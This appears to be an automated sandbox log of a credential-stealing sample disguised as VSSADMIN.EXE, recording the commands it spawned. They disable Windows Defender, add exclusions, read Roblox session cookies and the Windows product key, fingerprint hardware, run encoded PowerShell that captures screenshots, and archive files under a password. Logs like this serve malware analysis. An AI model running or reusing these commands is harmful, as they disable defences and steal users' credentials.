Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCCB6.tmp" "c:\Users\user\AppData\Local\Temp\ozweafg0\CSCCDFC3EC49286452EA176429826C32718.TMP"
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe a -r -hp"Zsombec1234" "C:\Users\user\AppData\Local\Temp\7sLxM.zip" *
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Users\user\Desktop\VSSADMIN.EXE.exe C:\Users\user\Desktop\VSSADMIN.EXE.exe	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCCB6.tmp" "c:\Users\user\AppData\Local\Temp\ozweafg0\CSCCDFC3EC49286452EA176429826C32718.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe a -r -hp"Zsombec1234" "C:\Users\user\AppData\Local\Temp\7sLxM.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE74EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		59_2_00007FF6EE74EF50
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE77B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		59_2_00007FF6EE77B57C

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
